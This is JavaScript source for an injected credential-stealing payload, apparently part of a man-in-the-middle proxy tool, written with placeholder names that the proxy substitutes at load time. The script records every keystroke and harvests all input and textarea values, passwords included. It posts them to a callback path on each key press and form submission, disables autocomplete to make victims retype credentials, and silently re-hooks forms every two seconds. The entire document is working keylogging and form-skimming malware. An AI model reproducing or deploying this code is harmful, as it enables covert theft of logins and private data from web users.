/* Hooks the keyup event and onsubmit events of forms and disables form autocompletion. Remember that any occurrence of 'obf_path_ssl_log', 'obf_path_callback' and 'obf_path_whitelist' in this payload will be replaced when the proxy module loads and that variable names 'obf_var_target_hosts' and 'obf_var_replacement_hosts' are already declared before this is injected. */ (function(){ "use strict"; var obf_var_keystrokes = []; function obf_func_random_string(obf_var_length) { var obf_var_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", obf_var_buff = new Array(obf_var_length); for (var obf_var_i = 0; obf_var_i < obf_var_length; obf_var_i++) { obf_var_buff[obf_var_i] = obf_var_chars.charAt(parseInt(Math.random() * obf_var_chars.length)); } return obf_var_buff.join(""); } function obf_func_callback() { try { var obf_var_inputs = document.getElementsByTagName("input"), obf_var_textareas = document.getElementsByTagName("textarea"), obf_var_params = ""; for (var obf_var_i = 0; obf_var_i < obf_var_inputs.length; obf_var_i++) { if (obf_var_inputs[obf_var_i].value != "") { obf_var_params += encodeURIComponent(obf_var_inputs[obf_var_i].name) + "=" + encodeURIComponent(obf_var_inputs[obf_var_i].value) + (obf_var_i < (obf_var_inputs.length-1) ? "&" : ""); } } for (var obf_var_i = 0; obf_var_i < obf_var_textareas.length; obf_var_i++) { if (obf_var_textareas[obf_var_i].value != "") { obf_var_params += encodeURIComponent(obf_var_textareas[obf_var_i].name) + "=" + encodeURIComponent(obf_var_textareas[obf_var_i].value) + (obf_var_i < (obf_var_textareas.length-1) ? "&" : ""); } } if (obf_var_params !== "") { obf_var_params += "&"; } obf_var_params += "obf_var_keystrokes=" + encodeURIComponent(obf_var_keystrokes.join(",")); if (obf_var_params.length > 0) { var obf_var_req = new XMLHttpRequest(); obf_var_req.open( "POST", "http://" + location.host + "obf_path_callback?" + obf_var_params, true); obf_var_req.send(); } } catch(obf_var_ignore){} } function obf_func_callback_whitelist() { try { var obf_var_inputs = document.getElementsByTagName("input"), obf_var_textareas = document.getElementsByTagName("textarea"), obf_var_params = ""; for (var obf_var_i = 0; obf_var_i < obf_var_inputs.length; obf_var_i++) { if (obf_var_inputs[obf_var_i].value != "") { obf_var_params += encodeURIComponent(obf_var_inputs[obf_var_i].name) + "=" + encodeURIComponent(obf_var_inputs[obf_var_i].value) + (obf_var_i < (obf_var_inputs.length-1) ? "&" : ""); } } for (var obf_var_i = 0; obf_var_i < obf_var_textareas.length; obf_var_i++) { if (obf_var_textareas[obf_var_i].value != "") { obf_var_params += encodeURIComponent(obf_var_textareas[obf_var_i].name) + "=" + encodeURIComponent(obf_var_textareas[obf_var_i].value) + (obf_var_i < (obf_var_textareas.length-1) ? "&" : ""); } } if (obf_var_params.length > 0) { var obf_var_req = new XMLHttpRequest(); obf_var_req.open( "POST", "http://" + location.host + "obf_path_whitelist?" + obf_var_params, true); obf_var_req.send(); } } catch(obf_var_ignore){} } function obf_func_hook_keyup() { globalThis.addEventListener("keydown", function(obf_var_event) { try { obf_var_keystrokes.push(obf_var_event.key); obf_func_callback(); } catch(obf_var_ignore){} }); } function obf_func_hook_forms() { document.querySelectorAll("form").forEach(function(obf_var_form){ // if (obf_var_form.querySelector("input[type=password]")) { // obf_var_form.addEventListener("submit", obf_func_callback_whitelist); // } else { obf_var_form.addEventListener("submit", obf_func_callback); // } }); } function obf_func_hook_inputs() { document.querySelectorAll("input").forEach(function(obf_var_input){ obf_var_input.autocomplete = "off"; }); } var obf_var_hooked_tag = obf_func_random_string(parseInt(8 + Math.random() * 8)); try { obf_func_hook_keyup(); } catch(obf_var_ignore){} try { obf_func_hook_forms(); } catch(obf_var_ignore){} try { obf_func_hook_inputs(); } catch(obf_var_ignore){} try { globalThis.addEventListener("DOMContentLoaded", obf_func_hook_forms); globalThis.addEventListener("DOMContentLoaded", obf_func_hook_inputs); globalThis.addEventListener("load", obf_func_hook_forms); globalThis.addEventListener("load", obf_func_hook_inputs); setInterval(obf_func_hook_forms, 2000); setInterval(obf_func_hook_inputs, 2000); } catch(obf_var_ignore){} })();